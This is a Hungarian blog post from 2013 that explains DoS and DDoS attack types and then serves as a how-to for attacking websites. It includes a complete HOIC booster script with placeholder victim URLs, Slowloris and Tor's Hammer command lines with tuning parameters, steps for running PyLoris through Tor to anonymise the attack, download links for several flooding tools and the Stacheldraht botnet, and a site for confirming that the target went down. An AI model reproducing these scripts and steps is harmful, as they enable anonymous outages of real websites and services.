2013. december 6., péntek

DoS, és DDoS támadások (túlterheléses támadások)

Mi is ez a DoS, és DDos?
A "Deniel of Service"-nak a rövidítése(Szolgáltatásmegtagadással járó támadás). A célja hogy a webszerver elérhetetlenné váljon. A DoS abban különbözik a DDoS-tól hogy míg a DoS esetében csak egy számítógép támadja az adott webszervert, addig a DDoS-nál nagyon sok gép vesz részt a támadásban.(ezért distributed - megosztott) Legtöbb esetben egész botnet hálózatok vesznek részt egy DDoS támadásban. A botnet hálózatokról már volt, azt is megnéztük hogy hogy tudunk egy ilyen hálózatot felállítani(Botnetek(Zeus)) ezért ebben a cikkben az egyéb progamokat, lehetőségeket fogom taglalni. Először is nézzük a támadások fajtáit.


DoS támadások csoportosítása:

-Sávszélesség elleni támadás:
Nem nehéz kitalálni hogy mire való ez a támadás, viszont elég nehéz egy ilyen támadást összehozni ugyanis ebben az esetben nagyobb sávszélességgel kell hogy rendelkezzünk mint az áldozat. (Márciusban viszont egy ilyen támadást indítottak a Spamhaus szerverei ellen. 300Gbps szávszélességgel. Bővebben) A kisebb erőforrásokkal rendelkező támadók ezért nem magát a sávszélességet szokták támadni hanem az ún. csomagáteresztő képességet.

-Protokoll elleni támadás:
Nem hibát használ ki hanem a protokollnak a működését.
SYN támadás: A támadó rengeteg SYN csomagot küld az áldozatnak hamis forrás IP címmel. Az áldozat megpróbál válaszolni SYN-ACK-al, de nem tud mert hamis a forrás IP.
A SYN flood támadás bemutatása.
SYN flood támadás

SYN flood: Ebben a támadásban a támadó ugyancsak kiküld egy csomó SYN csomagot, viszont egyik SYN-ACK-ra sem válaszol(ACK-al). És mivel egy megadott ideig mindeképpen kell az áldozatnak várni a válaszra, egy idő után megtelik a buffer-e amiben ezeket a félig nyílt kapcsolatok tárolja, és ekkor nem tud senkit kiszolgálni.


ICMP flood: Itt a támadó ICMP Echo(ping) csomagokat küld hamis forráscímmel. Az áldozat addig reagál ezekre a csomagokra amíg el nem éri a maximum kiküldhető csomagok számát másodpercenként, és ezután senkinek nem válaszol. 

Smurf: A támadó az áldozat nevében egy csomó ping kérést küld a broadcastra, így minden a hálózaton levő gép elkezd neki válaszolni amitől túlterhelődik. A fraggle támadás hasonló, de ebben az esetben ICMP helyett UDP csomagokat használ.

Ping of Death(POD): Ennek a támadásnak az a lényege hogy egy Ping csomag maximum 65353 byte hosszúságú lehet, viszont a támadó ennél nagyobb kérést küldünk az áldozatnak. Ha az áldozat operációs rendszere 65353 byte nagyságú buffert foglal le, akkor túlcsordul, és ez akár a gép lefagyásához is vezethet.

A DoS támadások manapság már nem tudnak komoly leállásokat okozni, ezért olyan népszerűek a DDoS támadások.
Most nézzük meg hogy hogyan néz ki egy ilyen DDoS támadás:
1.lépés. Áldozat gyűjtés   : A támadó sérülékeny gépeket keres a hálózaton, amiket utána megfertőzi a DDoS támadást végző kliens-programokkal.
2.lépés. A valós támadás : Amikor a támadónak már elég gép áll a rendelkezésére, akkor támadja meg a valódi célpontokat.
DDos támadás topológiája. Támadó -> Master gépek -> Daemon gépek -> Áldozat
DDoS támadás topológiája
Most nézzünk meg pár programot:
LOIC:(windows)
Talán a legismertebb DoS program. A használata meglehetősen egyszerű, ezért ezt most nem is részletezem.
Letöltés: http://sourceforge.net/projects/loic
HOIC:(windows, linux(wine))
Az Anonymous csoport adta ki ezt a progit. Hasonló a LOIC-hoz viszont ez sokkal többet tud.
A Threads-nál annyit adjunk meg ahány CPU-nk van.
A + és a - gombokkal tudunk hozzáadni áldozat, és eltávolítani.
Az érdekes rész az hogy egy vb6/vb.net keverék nyelven lehet hozzá írni úgynevezett Booster scripteket, amik jelentősen megnövelik az erejét. Nézzük meg hogy hogyan készítsük el a saját booster scriptünket.
(Minden támadásnál érdemes elkészíteni egy booster scriptet)
1.lépés:
Másoljuk be az alap scriptet egy *.hoic fájlba:
Dim useragents() as String
Dim referers() as String
dim randheaders() as string
Dim randURLs() as string
// ------------1-------------

// --------------------------

URL = randURLs(RndNumber(0, randURLs.UBound))
useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"
useragents.Append "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)"
useragents.Append "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)"
useragents.Append "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)"
useragents.Append "Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.1; .NET CLR 1.1.4322)"
useragents.Append "Googlebot/2.1 ( http://www.googlebot.com/bot.html) "
useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14"
useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14"
useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13"
useragents.Append "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13"
useragents.Append "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727)"
useragents.Append "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; Media Center PC 4.0; SLCC1; .NET CLR 3.0.04320)"
useragents.Append "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-cn) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5"
useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16"
useragents.Append "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51"
useragents.Append "Mozilla/5.0 (Windows NT 5.1; U; Firefox/5.0; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53"
// ------------2-------------

// --------------------------
randheaders.Append "Cache-Control: no-cache"
randheaders.Append "If-Modified-Since: Sat, 29 Oct 1994 11:59:59 GMT"
randheaders.Append "If-Modified-Since: Tue, 18 Sep 2002 10:34:27 GMT"
randheaders.Append "If-Modified-Since: Mon, 12 Aug 2004 12:54:49 GMT"
randheaders.Append "If-Modified-Since: Wed, 30 Jan 2000 01:21:09 GMT"
randheaders.Append "If-Modified-Since: Tue, 18 Aug 2006 08:49:15 GMT"
randheaders.Append "If-Modified-Since: Fri, 20 Oct 2006 09:34:27 GMT"
randheaders.Append "If-Modified-Since: Mon, 29 Oct 2001 05:17:09 GMT"
randheaders.Append "If-Modified-Since: Tue, 18 Apr 2003 12:54:49 GMT"
randheaders.Append "If-Modified-Since: Sat, 18 Aug 2002 12:54:49 GMT"
randheaders.Append "If-Modified-Since: Wed, 30 Jan 2000 01:21:09 GMT"
randheaders.Append "If-Modified-Since: Tue, 18 Aug 2009 08:49:15 GMT"
randheaders.Append "If-Modified-Since: Fri, 20 Jun 2006 09:34:27 GMT"
randheaders.Append "If-Modified-Since: Sun, 13 Oct 2007 11:59:59 GMT"
randheaders.Append "If-Modified-Since: Tue, 18 Aug 2003 12:54:49 GMT"
randheaders.Append "If-Modified-Since: Wed, 30 Jan 2002 01:21:09 GMT"
randheaders.Append "If-Modified-Since: Tue, 18 Aug 2009 08:49:15 GMT"
randheaders.Append "If-Modified-Since: Fri, 20 Oct 2008 09:34:27 GMT"
randheaders.Append "If-Modified-Since: Mon, 29 Oct 2007 11:59:59 GMT"
randheaders.Append "If-Modified-Since: Tue, 18 Aug 2001 12:54:49 GMT"

Headers.Append "Keep-Alive: 115"
Headers.Append "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7"
Headers.Append "Connection: keep-alive"

Headers.Append "Referer: " + referers(RndNumber(0, referers.UBound))
Headers.Append "User-Agent: " + useragents(RndNumber(0, useragents.UBound))
Headers.Append randheaders(RndNumber(0, randheaders.UBound))

2.lépés:
Adjuk hozzá a támadott weboldalunk linkjét a script elején lévő 1-es blokkba(---------------1------------):
randURLs.Append "http://áldozat.hu/"
+adjunk még hozzá lapokat a weboldalon belül:
randURLs.Append "http://áldozat.hu/forum12"
randURLs.Append "http://áldozat.hu/akarmi"
randURLs.Append "http://áldozat.hu/index.html"
randURLs.Append "http://áldozat.hu/admin/"

3.lépés:
Adjunk hozzá pár hivatkozást kedvünk szerint a 2-es blokkba.(---------------2---------------)
referers.Append "http://www.google.com/"
referers.Append "http://gmail.com"
referers.Append "http://www.youtube.com/"
És végül mentsük el a hoic mappájába. Ezután amikor a + gomb-ra kattintunk, legalul a Boostereknél ott lesz a miénk is, hozzá tudjuk adni. 
Letöltés: http://www.mediafire.com/?jkc7924jsa0161z
Slowloris:  (linux)
Ez is egy nagyon jó kis eszköz.
Ezt a két csomagot fel kell installálni hogy megfelőlen működjön.
perl -MCPAN -e 'install IO::Socket::INET'
perl -MCPAN -e 'install IO::Socket::SSL'
Használata:
Először megnézzük hogy a webszervernek milyen a timeout-ja.
perl slowloris.pl -dns www.akarmi.hu -port 80 -test
Ezután már tudunk "dolgozgatni". :)
perl slowloris.pl -dns www.akarmi.hu -port 80 -timeout 90 -num 500 -tcpto 5
A -num paraméterrel tudjuk beállítani a socket-ek számát. A -tcpto paraméterrel pedig a TCP timeout-ot.
Ezután már nincs más dolgunk mint várni... ;)
Letöltés: http://ha.ckers.org/slowloris/
Pyloris:(windows, linux, macOS X)
Ez is egy király kis tool. Viszont csak Apache szervereken működik, és kell hozzá TOR.
1.lépésben a tor_switcher.py-t kell elindítani. Ha elindult el kell indítani a TOR-t is, és a Vidalia Panel-en a Settings->Advanced-nél meg kell adni egy jelszót.(Pipát kivenni a Randomly generated-től, és megadni egy jelszót) Ha megadtuk a jelszót, akkor ugyanezt kell megadni a tor_switcher.py-ban. Az interval-nál azt kell megadni hogy hány másodpercenként változtasson identitást a tor.
2.lépés: Nyissuk meg a pyloris.py-t. A Host-hoz írjuk be a támadni kívánt oldal címét, http:// nélkül!!
A portnál adjuk meg a port címet. Ha az oldal használ SSL-t, akkor pipáljuk be azt is.
Az Attack/Connection/Thread limitet át lehet írni. pl.(100 000) Nekem 0-val(végtelen), nem működött valami miatt.
Ha ez megvan akkor a Proxy-nál válasszuk ki a SOCKS5-öt.
3.lépés: A jobboldali fekete ablakban meg lehet változtatni a lekérdezés adatait. Pl. Ha az adminnak akarsz valamit üzenni, akkor a data1=AAAA.. változtasd meg az üzenetedre. (Így minden lekérdezésben ezt fogja látni az admin..)
4.lépés: Kattintsunk a Lauch-ra... :D
Letöltés: http://sourceforge.net/projects/pyloris/
THC-SSL-DOS: http://www.thc.org/thc-ssl-dos/ (windows, linux)
Tor's hammer:(linux)
Tor hálózaton keresztül tud rejteni minket. A használata nagyon egyszerű.
python torshammer.py -t <host név> -p <portszám> -r <szálak száma> -T(Engedélyezi a TOR-on keresztüli anonimizálást.)
Letöltés:http://packetstormsecurity.org/files/98831
Apache Killer: www.exploit-db.com/download/17696/ (linux)
Ez a program egy Apach sérülékenységet használ ki. Sajnos a legtöbb webszerveren már nem működik.
Bővebb információ a sérülékenységről
Egyébként a script használata meglehetősen egyszerű.
perl killapache.pl
Stacheldraht:(linux)
Németül szögesdrótot jelent. Két részből áll: master, daemon. Különlegessége hogy az elküldött utasításokat blowfish algoritmussal titkosíthatja.
Letöltés: http://packetstormsecurity.com/files/10580/stachel.tgz.html

Ezen az oldalon pedig meg tudjuk nézni hogy elérhetetlenné tettük e az oldal: http://www.downforeveryoneorjustme.com/

Na ennyi lenne. :D :P Remélem érhető voltam, ha nem értesz valamit, vagy kérdésed van nyugodtan kommentelj! Konichiwa!